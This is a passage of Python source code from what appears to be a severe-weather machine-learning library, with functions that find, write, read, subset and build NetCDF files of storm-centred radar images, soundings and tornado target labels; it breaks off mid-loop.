error_checking.assert_is_boolean(shuffled)
if shuffled:
error_checking.assert_is_integer(first_batch_number)
error_checking.assert_is_integer(last_batch_number)
error_checking.assert_is_geq(first_batch_number, 0)
error_checking.assert_is_geq(last_batch_number, first_batch_number)
example_file_pattern = (
'{0:s}/batches{1:s}-{1:s}/input_examples_batch{1:s}.nc'
).format(top_directory_name, BATCH_NUMBER_REGEX)
example_file_names = glob.glob(example_file_pattern)
if len(example_file_names) > 0:
batch_numbers = numpy.array(
[_file_name_to_batch_number(f) for f in example_file_names],
dtype=int)
good_indices = numpy.where(numpy.logical_and(
batch_numbers >= first_batch_number,
batch_numbers <= last_batch_number
))[0]
example_file_names = [example_file_names[k] for k in good_indices]
if len(example_file_names) == 0:
error_string = (
'Cannot find any files with batch number from {0:d}...{1:d}.'
).format(first_batch_number, last_batch_number)
raise ValueError(error_string)
return example_file_names
spc_date_strings = time_conversion.get_spc_dates_in_range(
first_spc_date_string=first_spc_date_string,
last_spc_date_string=last_spc_date_string)
example_file_names = []
for this_spc_date_string in spc_date_strings:
this_file_name = find_example_file(
top_directory_name=top_directory_name, shuffled=False,
spc_date_string=this_spc_date_string,
raise_error_if_missing=raise_error_if_any_missing)
if not os.path.isfile(this_file_name):
continue
example_file_names.append(this_file_name)
if len(example_file_names) == 0:
error_string = (
'Cannot find any file with SPC date from {0:s} to {1:s}.'
).format(first_spc_date_string, last_spc_date_string)
raise ValueError(error_string)
return example_file_names
def write_example_file(netcdf_file_name, example_dict, append_to_file=False):
"""Writes input examples to NetCDF file.
The following keys are required in `example_dict` only if the examples
include soundings:
- "sounding_field_names"
- "sounding_heights_m_agl"
- "sounding_matrix"
If the examples contain both 2-D azimuthal-shear images and 3-D
reflectivity images:
- Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are
required.
- "radar_heights_m_agl" should contain only reflectivity heights.
- "radar_field_names" should contain only the names of azimuthal-shear
fields.
If the examples contain 2-D radar images and no 3-D images:
- Key "radar_image_matrix" is required.
- The [j]th element of "radar_field_names" should be the name of the [j]th
radar field.
- The [j]th element of "radar_heights_m_agl" should be the corresponding
height.
- Thus, there are C elements in "radar_field_names", C elements in
"radar_heights_m_agl", and C field-height pairs.
If the examples contain 3-D radar images and no 2-D images:
- Key "radar_image_matrix" is required.
- Each field in "radar_field_names" appears at each height in
"radar_heights_m_agl".
- Thus, there are F_r elements in "radar_field_names", H_r elements in
"radar_heights_m_agl", and F_r * H_r field-height pairs.
:param netcdf_file_name: Path to output file.
:param example_dict: Dictionary with the following keys.
example_dict['full_id_strings']: length-E list of full storm IDs.
example_dict['storm_times_unix_sec']: length-E list of valid times.
example_dict['radar_field_names']: List of radar fields (see general
discussion above).
example_dict['radar_heights_m_agl']: numpy array of radar heights (see
general discussion above).
example_dict['rotated_grids']: Boolean flag. If True, storm-centered radar
grids are rotated so that storm motion is in the +x-direction.
example_dict['rotated_grid_spacing_metres']: Spacing of rotated grids. If
grids are not rotated, this should be None.
example_dict['radar_image_matrix']: See general discussion above. For 2-D
images, this should be a numpy array with dimensions E x M x N x C.
For 3-D images, this should be a numpy array with dimensions
E x M x N x H_r x F_r.
example_dict['reflectivity_image_matrix_dbz']: See general discussion above.
Dimensions should be E x M x N x H_refl x 1, where H_refl = number of
reflectivity heights.
example_dict['az_shear_image_matrix_s01']: See general discussion above.
Dimensions should be E x M x N x F_as, where F_as = number of
azimuthal-shear fields.
example_dict['target_names']: 1-D list with names of target variables. Each
must be accepted by `target_val_utils.target_name_to_params`.
example_dict['target_matrix']: E-by-T numpy array of target values (integer
class labels), where T = number of target variables.
example_dict['sounding_field_names']: list (length F_s) of sounding fields.
Each item must be accepted by `soundings.check_field_name`.
example_dict['sounding_heights_m_agl']: numpy array (length H_s) of sounding
heights (metres above ground level).
example_dict['sounding_matrix']: numpy array (E x H_s x F_s) of storm-
centered soundings.
:param append_to_file: Boolean flag. If True, this method will append to an
existing file. If False, will create a new file, overwriting the
existing file if necessary.
"""
error_checking.assert_is_boolean(append_to_file)
include_soundings = SOUNDING_MATRIX_KEY in example_dict
if append_to_file:
netcdf_dataset = netCDF4.Dataset(
netcdf_file_name, 'a', format='NETCDF3_64BIT_OFFSET'
)
_compare_metadata(
netcdf_dataset=netcdf_dataset, example_dict=example_dict
)
num_examples_orig = len(numpy.array(
netcdf_dataset.variables[STORM_TIMES_KEY][:]
))
num_examples_to_add = len(example_dict[STORM_TIMES_KEY])
this_string_type = 'S{0:d}'.format(
netcdf_dataset.dimensions[STORM_ID_CHAR_DIM_KEY].size
)
example_dict[FULL_IDS_KEY] = netCDF4.stringtochar(numpy.array(
example_dict[FULL_IDS_KEY], dtype=this_string_type
))
for this_key in MAIN_KEYS:
if (this_key not in REQUIRED_MAIN_KEYS and
this_key not in netcdf_dataset.variables):
continue
netcdf_dataset.variables[this_key][
num_examples_orig:(num_examples_orig + num_examples_to_add),
...
] = example_dict[this_key]
netcdf_dataset.close()
return
# Open file.
file_system_utils.mkdir_recursive_if_necessary(file_name=netcdf_file_name)
netcdf_dataset = netCDF4.Dataset(
netcdf_file_name, 'w', format='NETCDF3_64BIT_OFFSET')
# Set global attributes.
netcdf_dataset.setncattr(
ROTATED_GRIDS_KEY, int(example_dict[ROTATED_GRIDS_KEY])
)
if example_dict[ROTATED_GRIDS_KEY]:
netcdf_dataset.setncattr(
ROTATED_GRID_SPACING_KEY,
numpy.round(int(example_dict[ROTATED_GRID_SPACING_KEY]))
)
# Set dimensions.
num_storm_id_chars = 10 + numpy.max(
numpy.array([len(s) for s in example_dict[FULL_IDS_KEY]])
)
num_radar_field_chars = numpy.max(
numpy.array([len(f) for f in example_dict[RADAR_FIELDS_KEY]])
)
num_target_name_chars = numpy.max(
numpy.array([len(t) for t in example_dict[TARGET_NAMES_KEY]])
)
num_target_vars = len(example_dict[TARGET_NAMES_KEY])
netcdf_dataset.createDimension(EXAMPLE_DIMENSION_KEY, None)
netcdf_dataset.createDimension(TARGET_VARIABLE_DIM_KEY, num_target_vars)
netcdf_dataset.createDimension(STORM_ID_CHAR_DIM_KEY, num_storm_id_chars)
netcdf_dataset.createDimension(
RADAR_FIELD_CHAR_DIM_KEY, num_radar_field_chars
)
netcdf_dataset.createDimension(
TARGET_NAME_CHAR_DIM_KEY, num_target_name_chars
)
if RADAR_IMAGE_MATRIX_KEY in example_dict:
num_grid_rows = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[1]
num_grid_columns = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[2]
num_radar_dimensions = len(
example_dict[RADAR_IMAGE_MATRIX_KEY].shape) - 2
if num_radar_dimensions == 3:
num_radar_heights = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[3]
num_radar_fields = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[4]
netcdf_dataset.createDimension(
RADAR_FIELD_DIM_KEY, num_radar_fields)
netcdf_dataset.createDimension(
RADAR_HEIGHT_DIM_KEY, num_radar_heights)
else:
num_radar_channels = example_dict[RADAR_IMAGE_MATRIX_KEY].shape[3]
netcdf_dataset.createDimension(
RADAR_CHANNEL_DIM_KEY, num_radar_channels)
netcdf_dataset.createDimension(ROW_DIMENSION_KEY, num_grid_rows)
netcdf_dataset.createDimension(COLUMN_DIMENSION_KEY, num_grid_columns)
else:
num_reflectivity_rows = example_dict[REFL_IMAGE_MATRIX_KEY].shape[1]
num_reflectivity_columns = example_dict[REFL_IMAGE_MATRIX_KEY].shape[2]
num_reflectivity_heights = example_dict[REFL_IMAGE_MATRIX_KEY].shape[3]
num_az_shear_rows = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[1]
num_az_shear_columns = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[2]
num_az_shear_fields = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY].shape[3]
netcdf_dataset.createDimension(
REFL_ROW_DIMENSION_KEY, num_reflectivity_rows)
netcdf_dataset.createDimension(
REFL_COLUMN_DIMENSION_KEY, num_reflectivity_columns)
netcdf_dataset.createDimension(
RADAR_HEIGHT_DIM_KEY, num_reflectivity_heights)
netcdf_dataset.createDimension(
AZ_SHEAR_ROW_DIMENSION_KEY, num_az_shear_rows)
netcdf_dataset.createDimension(
AZ_SHEAR_COLUMN_DIMENSION_KEY, num_az_shear_columns)
netcdf_dataset.createDimension(RADAR_FIELD_DIM_KEY, num_az_shear_fields)
num_radar_dimensions = -1
# Add storm IDs.
this_string_type = 'S{0:d}'.format(num_storm_id_chars)
full_ids_char_array = netCDF4.stringtochar(numpy.array(
example_dict[FULL_IDS_KEY], dtype=this_string_type
))
netcdf_dataset.createVariable(
FULL_IDS_KEY, datatype='S1',
dimensions=(EXAMPLE_DIMENSION_KEY, STORM_ID_CHAR_DIM_KEY)
)
netcdf_dataset.variables[FULL_IDS_KEY][:] = numpy.array(full_ids_char_array)
# Add names of radar fields.
this_string_type = 'S{0:d}'.format(num_radar_field_chars)
radar_field_names_char_array = netCDF4.stringtochar(numpy.array(
example_dict[RADAR_FIELDS_KEY], dtype=this_string_type
))
if num_radar_dimensions == 2:
this_first_dim_key = RADAR_CHANNEL_DIM_KEY + ''
else:
this_first_dim_key = RADAR_FIELD_DIM_KEY + ''
netcdf_dataset.createVariable(
RADAR_FIELDS_KEY, datatype='S1',
dimensions=(this_first_dim_key, RADAR_FIELD_CHAR_DIM_KEY)
)
netcdf_dataset.variables[RADAR_FIELDS_KEY][:] = numpy.array(
radar_field_names_char_array)
# Add names of target variables.
this_string_type = 'S{0:d}'.format(num_target_name_chars)
target_names_char_array = netCDF4.stringtochar(numpy.array(
example_dict[TARGET_NAMES_KEY], dtype=this_string_type
))
netcdf_dataset.createVariable(
TARGET_NAMES_KEY, datatype='S1',
dimensions=(TARGET_VARIABLE_DIM_KEY, TARGET_NAME_CHAR_DIM_KEY)
)
netcdf_dataset.variables[TARGET_NAMES_KEY][:] = numpy.array(
target_names_char_array)
# Add storm times.
netcdf_dataset.createVariable(
STORM_TIMES_KEY, datatype=numpy.int32, dimensions=EXAMPLE_DIMENSION_KEY
)
netcdf_dataset.variables[STORM_TIMES_KEY][:] = example_dict[
STORM_TIMES_KEY]
# Add target values.
netcdf_dataset.createVariable(
TARGET_MATRIX_KEY, datatype=numpy.int32,
dimensions=(EXAMPLE_DIMENSION_KEY, TARGET_VARIABLE_DIM_KEY)
)
netcdf_dataset.variables[TARGET_MATRIX_KEY][:] = example_dict[
TARGET_MATRIX_KEY]
# Add radar heights.
if num_radar_dimensions == 2:
this_dimension_key = RADAR_CHANNEL_DIM_KEY + ''
else:
this_dimension_key = RADAR_HEIGHT_DIM_KEY + ''
netcdf_dataset.createVariable(
RADAR_HEIGHTS_KEY, datatype=numpy.int32, dimensions=this_dimension_key
)
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:] = example_dict[
RADAR_HEIGHTS_KEY]
# Add storm-centered radar images.
if RADAR_IMAGE_MATRIX_KEY in example_dict:
if num_radar_dimensions == 3:
these_dimensions = (
EXAMPLE_DIMENSION_KEY, ROW_DIMENSION_KEY, COLUMN_DIMENSION_KEY,
RADAR_HEIGHT_DIM_KEY, RADAR_FIELD_DIM_KEY
)
else:
these_dimensions = (
EXAMPLE_DIMENSION_KEY, ROW_DIMENSION_KEY, COLUMN_DIMENSION_KEY,
RADAR_CHANNEL_DIM_KEY
)
netcdf_dataset.createVariable(
RADAR_IMAGE_MATRIX_KEY, datatype=numpy.float32,
dimensions=these_dimensions
)
netcdf_dataset.variables[RADAR_IMAGE_MATRIX_KEY][:] = example_dict[
RADAR_IMAGE_MATRIX_KEY]
else:
netcdf_dataset.createVariable(
REFL_IMAGE_MATRIX_KEY, datatype=numpy.float32,
dimensions=(EXAMPLE_DIMENSION_KEY, REFL_ROW_DIMENSION_KEY,
REFL_COLUMN_DIMENSION_KEY, RADAR_HEIGHT_DIM_KEY)
)
netcdf_dataset.variables[REFL_IMAGE_MATRIX_KEY][:] = example_dict[
REFL_IMAGE_MATRIX_KEY][..., 0]
netcdf_dataset.createVariable(
AZ_SHEAR_IMAGE_MATRIX_KEY, datatype=numpy.float32,
dimensions=(EXAMPLE_DIMENSION_KEY, AZ_SHEAR_ROW_DIMENSION_KEY,
AZ_SHEAR_COLUMN_DIMENSION_KEY, RADAR_FIELD_DIM_KEY)
)
netcdf_dataset.variables[AZ_SHEAR_IMAGE_MATRIX_KEY][:] = example_dict[
AZ_SHEAR_IMAGE_MATRIX_KEY]
if not include_soundings:
netcdf_dataset.close()
return
num_sounding_heights = example_dict[SOUNDING_MATRIX_KEY].shape[1]
num_sounding_fields = example_dict[SOUNDING_MATRIX_KEY].shape[2]
num_sounding_field_chars = 1
for j in range(num_sounding_fields):
num_sounding_field_chars = max([
num_sounding_field_chars,
len(example_dict[SOUNDING_FIELDS_KEY][j])
])
netcdf_dataset.createDimension(
SOUNDING_FIELD_DIM_KEY, num_sounding_fields)
netcdf_dataset.createDimension(
SOUNDING_HEIGHT_DIM_KEY, num_sounding_heights)
netcdf_dataset.createDimension(
SOUNDING_FIELD_CHAR_DIM_KEY, num_sounding_field_chars)
this_string_type = 'S{0:d}'.format(num_sounding_field_chars)
sounding_field_names_char_array = netCDF4.stringtochar(numpy.array(
example_dict[SOUNDING_FIELDS_KEY], dtype=this_string_type
))
netcdf_dataset.createVariable(
SOUNDING_FIELDS_KEY, datatype='S1',
dimensions=(SOUNDING_FIELD_DIM_KEY, SOUNDING_FIELD_CHAR_DIM_KEY)
)
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:] = numpy.array(
sounding_field_names_char_array)
netcdf_dataset.createVariable(
SOUNDING_HEIGHTS_KEY, datatype=numpy.int32,
dimensions=SOUNDING_HEIGHT_DIM_KEY
)
netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:] = example_dict[
SOUNDING_HEIGHTS_KEY]
netcdf_dataset.createVariable(
SOUNDING_MATRIX_KEY, datatype=numpy.float32,
dimensions=(EXAMPLE_DIMENSION_KEY, SOUNDING_HEIGHT_DIM_KEY,
SOUNDING_FIELD_DIM_KEY)
)
netcdf_dataset.variables[SOUNDING_MATRIX_KEY][:] = example_dict[
SOUNDING_MATRIX_KEY]
netcdf_dataset.close()
return
def read_example_file(
netcdf_file_name, read_all_target_vars, target_name=None,
metadata_only=False, targets_only=False, include_soundings=True,
radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None,
sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None,
first_time_to_keep_unix_sec=None, last_time_to_keep_unix_sec=None,
num_rows_to_keep=None, num_columns_to_keep=None,
downsampling_dict=None):
"""Reads examples from NetCDF file.
If `metadata_only == True`, later input args are ignored.
If `targets_only == True`, later input args are ignored.
:param netcdf_file_name: Path to input file.
:param read_all_target_vars: Boolean flag. If True, will read all target
variables. If False, will read only `target_name`. Either way, if
downsampling is done, it will be based only on `target_name`.
:param target_name: Will read this target variable. If
`read_all_target_vars == True` and `downsampling_dict is None`, you can
leave this alone.
:param metadata_only: Boolean flag. If False, this method will read
everything. If True, will read everything except predictor and target
variables.
:param targets_only: Boolean flag. If False, this method will read
everything. If True, will read everything except predictors.
:param include_soundings: Boolean flag. If True and the file contains
soundings, this method will return soundings. Otherwise, no soundings.
:param radar_field_names_to_keep: See doc for `_subset_radar_data`.
:param radar_heights_to_keep_m_agl: Same.
:param sounding_field_names_to_keep: See doc for `_subset_sounding_data`.
:param sounding_heights_to_keep_m_agl: Same.
:param first_time_to_keep_unix_sec: First time to keep. If
`first_time_to_keep_unix_sec is None`, all storm objects will be kept.
:param last_time_to_keep_unix_sec: Last time to keep. If
`last_time_to_keep_unix_sec is None`, all storm objects will be kept.
:param num_rows_to_keep: See doc for `_subset_radar_data`.
:param num_columns_to_keep: Same.
:param downsampling_dict: See doc for `_filter_examples_by_class`.
:return: example_dict: If `read_all_target_vars == True`, dictionary will
have all keys listed in doc for `write_example_file`. If
`read_all_target_vars == False`, key "target_names" will be replaced by
"target_name" and "target_matrix" will be replaced by "target_values".
example_dict['target_name']: Name of target variable.
example_dict['target_values']: length-E list of target values (integer
class labels), where E = number of examples.
"""
# TODO(thunderhoser): Allow this method to read only soundings without radar
# data.
if (
target_name ==
'tornado_lead-time=0000-3600sec_distance=00000-10000m'
):
target_name = (
'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0'
)
error_checking.assert_is_boolean(read_all_target_vars)
error_checking.assert_is_boolean(include_soundings)
error_checking.assert_is_boolean(metadata_only)
error_checking.assert_is_boolean(targets_only)
example_dict, netcdf_dataset = _read_metadata_from_example_file(
netcdf_file_name=netcdf_file_name, include_soundings=include_soundings)
need_main_target_values = (
not read_all_target_vars
or downsampling_dict is not None
)
if need_main_target_values:
target_index = example_dict[TARGET_NAMES_KEY].index(target_name)
else:
target_index = -1
if not read_all_target_vars:
example_dict[TARGET_NAME_KEY] = target_name
example_dict.pop(TARGET_NAMES_KEY)
if metadata_only:
netcdf_dataset.close()
return example_dict
if need_main_target_values:
main_target_values = numpy.array(
netcdf_dataset.variables[TARGET_MATRIX_KEY][:, target_index],
dtype=int
)
else:
main_target_values = None
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = numpy.array(
netcdf_dataset.variables[TARGET_MATRIX_KEY][:], dtype=int
)
else:
example_dict[TARGET_VALUES_KEY] = main_target_values
# Subset by time.
if first_time_to_keep_unix_sec is None:
first_time_to_keep_unix_sec = 0
if last_time_to_keep_unix_sec is None:
last_time_to_keep_unix_sec = int(1e12)
error_checking.assert_is_integer(first_time_to_keep_unix_sec)
error_checking.assert_is_integer(last_time_to_keep_unix_sec)
error_checking.assert_is_geq(
last_time_to_keep_unix_sec, first_time_to_keep_unix_sec)
example_indices_to_keep = numpy.where(numpy.logical_and(
example_dict[STORM_TIMES_KEY] >= first_time_to_keep_unix_sec,
example_dict[STORM_TIMES_KEY] <= last_time_to_keep_unix_sec
))[0]
if downsampling_dict is not None:
subindices_to_keep = _filter_examples_by_class(
target_values=main_target_values[example_indices_to_keep],
downsampling_dict=downsampling_dict
)
elif not read_all_target_vars:
subindices_to_keep = numpy.where(
main_target_values[example_indices_to_keep] !=
target_val_utils.INVALID_STORM_INTEGER
)[0]
else:
subindices_to_keep = numpy.linspace(
0, len(example_indices_to_keep) - 1,
num=len(example_indices_to_keep), dtype=int
)
example_indices_to_keep = example_indices_to_keep[subindices_to_keep]
if len(example_indices_to_keep) == 0:
return None
example_dict[FULL_IDS_KEY] = [
example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep
]
example_dict[STORM_TIMES_KEY] = (
example_dict[STORM_TIMES_KEY][example_indices_to_keep]
)
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = (
example_dict[TARGET_MATRIX_KEY][example_indices_to_keep, :]
)
else:
example_dict[TARGET_VALUES_KEY] = (
example_dict[TARGET_VALUES_KEY][example_indices_to_keep]
)
if targets_only:
netcdf_dataset.close()
return example_dict
example_dict = _subset_radar_data(
example_dict=example_dict, netcdf_dataset_object=netcdf_dataset,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=radar_field_names_to_keep,
heights_to_keep_m_agl=radar_heights_to_keep_m_agl,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
if not include_soundings:
netcdf_dataset.close()
return example_dict
example_dict = _subset_sounding_data(
example_dict=example_dict, netcdf_dataset_object=netcdf_dataset,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=sounding_field_names_to_keep,
heights_to_keep_m_agl=sounding_heights_to_keep_m_agl)
netcdf_dataset.close()
return example_dict
def read_specific_examples(
netcdf_file_name, read_all_target_vars, full_storm_id_strings,
storm_times_unix_sec, target_name=None, include_soundings=True,
radar_field_names_to_keep=None, radar_heights_to_keep_m_agl=None,
sounding_field_names_to_keep=None, sounding_heights_to_keep_m_agl=None,
num_rows_to_keep=None, num_columns_to_keep=None):
"""Reads specific examples (with specific ID-time pairs) from NetCDF file.
:param netcdf_file_name: Path to input file.
:param read_all_target_vars: See doc for `read_example_file`.
:param full_storm_id_strings: length-E list of storm IDs.
:param storm_times_unix_sec: length-E numpy array of valid times.
:param target_name: See doc for `read_example_file`.
:param metadata_only: Same.
:param include_soundings: Same.
:param radar_field_names_to_keep: Same.
:param radar_heights_to_keep_m_agl: Same.
:param sounding_field_names_to_keep: Same.
:param sounding_heights_to_keep_m_agl: Same.
:param num_rows_to_keep: Same.
:param num_columns_to_keep: Same.
:return: example_dict: See doc for `write_example_file`.
"""
if (
target_name ==
'tornado_lead-time=0000-3600sec_distance=00000-10000m'
):
target_name = (
'tornado_lead-time=0000-3600sec_distance=00000-30000m_min-fujita=0'
)
error_checking.assert_is_boolean(read_all_target_vars)
error_checking.assert_is_boolean(include_soundings)
example_dict, dataset_object = _read_metadata_from_example_file(
netcdf_file_name=netcdf_file_name, include_soundings=include_soundings)
example_indices_to_keep = tracking_utils.find_storm_objects(
all_id_strings=example_dict[FULL_IDS_KEY],
all_times_unix_sec=example_dict[STORM_TIMES_KEY],
id_strings_to_keep=full_storm_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False
)
example_dict[FULL_IDS_KEY] = [
example_dict[FULL_IDS_KEY][k] for k in example_indices_to_keep
]
example_dict[STORM_TIMES_KEY] = example_dict[STORM_TIMES_KEY][
example_indices_to_keep]
if read_all_target_vars:
example_dict[TARGET_MATRIX_KEY] = numpy.array(
dataset_object.variables[TARGET_MATRIX_KEY][
example_indices_to_keep, :],
dtype=int
)
else:
target_index = example_dict[TARGET_NAMES_KEY].index(target_name)
example_dict[TARGET_NAME_KEY] = target_name
example_dict.pop(TARGET_NAMES_KEY)
example_dict[TARGET_VALUES_KEY] = numpy.array(
dataset_object.variables[TARGET_MATRIX_KEY][
example_indices_to_keep, target_index],
dtype=int
)
example_dict = _subset_radar_data(
example_dict=example_dict, netcdf_dataset_object=dataset_object,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=radar_field_names_to_keep,
heights_to_keep_m_agl=radar_heights_to_keep_m_agl,
num_rows_to_keep=num_rows_to_keep,
num_columns_to_keep=num_columns_to_keep)
if not include_soundings:
dataset_object.close()
return example_dict
example_dict = _subset_sounding_data(
example_dict=example_dict, netcdf_dataset_object=dataset_object,
example_indices_to_keep=example_indices_to_keep,
field_names_to_keep=sounding_field_names_to_keep,
heights_to_keep_m_agl=sounding_heights_to_keep_m_agl)
dataset_object.close()
return example_dict
def reduce_examples_3d_to_2d(example_dict, list_of_operation_dicts):
"""Reduces examples from 3-D to 2-D.
If the examples contain both 2-D azimuthal-shear images and 3-D
reflectivity images:
- Keys "reflectivity_image_matrix_dbz" and "az_shear_image_matrix_s01" are
required.
- "radar_heights_m_agl" should contain only reflectivity heights.
- "radar_field_names" should contain only the names of azimuthal-shear
fields.
If the examples contain 3-D radar images and no 2-D images:
- Key "radar_image_matrix" is required.
- Each field in "radar_field_names" appears at each height in
"radar_heights_m_agl".
- Thus, there are F_r elements in "radar_field_names", H_r elements in
"radar_heights_m_agl", and F_r * H_r field-height pairs.
After dimensionality reduction (from 3-D to 2-D):
- Keys "reflectivity_image_matrix_dbz", "az_shear_image_matrix_s01", and
"radar_heights_m_agl" will be absent.
- Key "radar_image_matrix" will be present. The dimensions will be
E x M x N x C.
- Key "radar_field_names" will be a length-C list, where the [j]th item is
the field name for the [j]th channel of radar_image_matrix
(radar_image_matrix[..., j]).
- Key "min_radar_heights_m_agl" will be a length-C numpy array, where the
[j]th item is the MINIMUM height for the [j]th channel of
radar_image_matrix.
- Key "max_radar_heights_m_agl" will be a length-C numpy array, where the
[j]th item is the MAX height for the [j]th channel of radar_image_matrix.
- Key "radar_layer_operation_names" will be a length-C list, where the [j]th
item is the name of the operation used to create the [j]th channel of
radar_image_matrix.
:param example_dict: See doc for `write_example_file`.
:param list_of_operation_dicts: See doc for `_check_layer_operation`.
:return: example_dict: See general discussion above, for how the input
`example_dict` is changed to the output `example_dict`.
"""
if RADAR_IMAGE_MATRIX_KEY in example_dict:
num_radar_dimensions = len(
example_dict[RADAR_IMAGE_MATRIX_KEY].shape
) - 2
assert num_radar_dimensions == 3
new_radar_image_matrix = None
new_field_names = []
new_min_heights_m_agl = []
new_max_heights_m_agl = []
new_operation_names = []
if AZ_SHEAR_IMAGE_MATRIX_KEY in example_dict:
new_radar_image_matrix = example_dict[AZ_SHEAR_IMAGE_MATRIX_KEY] + 0.
for this_field_name in example_dict[RADAR_FIELDS_KEY]:
new_field_names.append(this_field_name)
new_operation_names.append(MAX_OPERATION_NAME)
if this_field_name == radar_utils.LOW_LEVEL_SHEAR_NAME:
new_min_heights_m_agl.append(0)
new_max_heights_m_agl.append(2000)
else:
new_min_heights_m_agl.append(3000)
new_max_heights_m_agl.append(6000)
for this_operation_dict in list_of_operation_dicts:
this_new_matrix, this_operation_dict = _apply_layer_operation(
example_dict=example_dict, operation_dict=this_operation_dict)
this_new_matrix = numpy.expand_dims(this_new_matrix, axis=-1)
if new_radar_image_matrix is None:
new_radar_image_matrix = this_new_matrix + 0.
else:
new_radar_image_matrix = numpy.concatenate(
(new_radar_image_matrix, this_new_matrix), axis=-1
)
new_field_names.append(this_operation_dict[RADAR_FIELD_KEY])
new_min_heights_m_agl.append(this_operation_dict[MIN_HEIGHT_KEY])
new_max_heights_m_agl.append(this_operation_dict[MAX_HEIGHT_KEY])
new_operation_names.append(this_operation_dict[OPERATION_NAME_KEY])
example_dict.pop(REFL_IMAGE_MATRIX_KEY, None)
example_dict.pop(AZ_SHEAR_IMAGE_MATRIX_KEY, None)
example_dict.pop(RADAR_HEIGHTS_KEY, None)
example_dict[RADAR_IMAGE_MATRIX_KEY] = new_radar_image_matrix
example_dict[RADAR_FIELDS_KEY] = new_field_names
example_dict[MIN_RADAR_HEIGHTS_KEY] = numpy.array(
new_min_heights_m_agl, dtype=int)
example_dict[MAX_RADAR_HEIGHTS_KEY] = numpy.array(
new_max_heights_m_agl, dtype=int)
example_dict[RADAR_LAYER_OPERATION_NAMES_KEY] = new_operation_names
return example_dict
def create_examples(
target_file_names, target_names, num_examples_per_in_file,
top_output_dir_name, radar_file_name_matrix=None,
reflectivity_file_name_matrix=None, az_shear_file_name_matrix=None,
downsampling_dict=None, target_name_for_downsampling=None,
sounding_file_names=None):
"""Creates many input examples.
If `radar_file_name_matrix is None`, both `reflectivity_file_name_matrix`
and `az_shear_file_name_matrix` must be specified.
D = number of SPC dates in time period
:param target_file_names: length-D list of paths to target files (will be
read by `read_labels_from_netcdf`).
:param target_names: See doc for `_check_target_vars`.
:param num_examples_per_in_file: Number of examples to read from each input
file.
:param top_output_dir_name: Name of top-level directory. Files will be
written here by `write_example_file`, to locations determined by
`find_example_file`.
:param radar_file_name_matrix: numpy array created by either
`find_storm_images_2d` or `find_storm_images_3d`. Length of the first
axis is D.
:param reflectivity_file_name_matrix: numpy array created by
`find_storm_images_2d3d_myrorss`. Length of the first axis is D.
:param az_shear_file_name_matrix: Same.
:param downsampling_dict: See doc for `deep_learning_utils.sample_by_class`.
If None, there will be no downsampling.
:param target_name_for_downsampling:
[used only if `downsampling_dict is not None`]
Name of target variable to use for downsampling.
:param sounding_file_names: length-D list of paths to sounding files (will
be read by `soundings.read_soundings`). If None, will not include
soundings.
"""
_check_target_vars(target_names)
num_target_vars = len(target_names)
if radar_file_name_matrix is None:
error_checking.assert_is_numpy_array(
reflectivity_file_name_matrix, num_dimensions=2)
num_file_times = reflectivity_file_name_matrix.shape[0]
these_expected_dim = numpy.array([num_file_times, 2], dtype=int)
error_checking.assert_is_numpy_array(
az_shear_file_name_matrix, exact_dimensions=these_expected_dim)
else:
error_checking.assert_is_numpy_array(radar_file_name_matrix)
num_file_dimensions = len(radar_file_name_matrix.shape)
num_file_times = radar_file_name_matrix.shape[0]
error_checking.assert_is_geq(num_file_dimensions, 2)
error_checking.assert_is_leq(num_file_dimensions, 3)
these_expected_dim = numpy.array([num_file_times], dtype=int)
error_checking.assert_is_numpy_array(
numpy.array(target_file_names), exact_dimensions=these_expected_dim
)
if sounding_file_names is not None:
error_checking.assert_is_numpy_array(
numpy.array(sounding_file_names),
exact_dimensions=these_expected_dim
)
error_checking.assert_is_integer(num_examples_per_in_file)
error_checking.assert_is_geq(num_examples_per_in_file, 1)
full_id_strings = []
storm_times_unix_sec = numpy.array([], dtype=int)
target_matrix = None
for i in range(num_file_times):
print('Reading data from: "{0:s}"...'.format(target_file_names[i]))
this_target_dict = target_val_utils.read_target_values(
netcdf_file_name=target_file_names[i], target_names=target_names)
full_id_strings += this_target_dict[target_val_utils.FULL_IDS_KEY]
storm_times_unix_sec = numpy.concatenate((
storm_times_unix_sec,
this_target_dict[target_val_utils.VALID_TIMES_KEY]
))
if target_matrix is None:
target_matrix = (
this_target_dict[target_val_utils.TARGET_MATRIX_KEY] + 0
)
else:
target_matrix = numpy.concatenate(
(target_matrix,
this_target_dict[target_val_utils.TARGET_MATRIX_KEY]),
axis=0
)
print('\n')
num_examples_found = len(full_id_strings)
num_examples_to_use = num_examples_per_in_file * num_file_times
if downsampling_dict is None:
indices_to_keep = numpy.linspace(
0, num_examples_found - 1, num=num_examples_found, dtype=int)
if num_examples_found > num_examples_to_use:
indices_to_keep = numpy.random.choice(
indices_to_keep, size=num_examples_to_use, replace=False)
else:
downsampling_index = target_names.index(target_name_for_downsampling)
indices_to_keep = dl_utils.sample_by_class(
sampling_fraction_by_class_dict=downsampling_dict,
target_name=target_name_for_downsampling,
target_values=target_matrix[:, downsampling_index],
num_examples_total=num_examples_to_use)
full_id_strings = [full_id_strings[k] for k in indices_to_keep]
storm_times_unix_sec = storm_times_unix_sec[indices_to_keep]
target_matrix = target_matrix[indices_to_keep, :]
for j in range(num_target_vars):
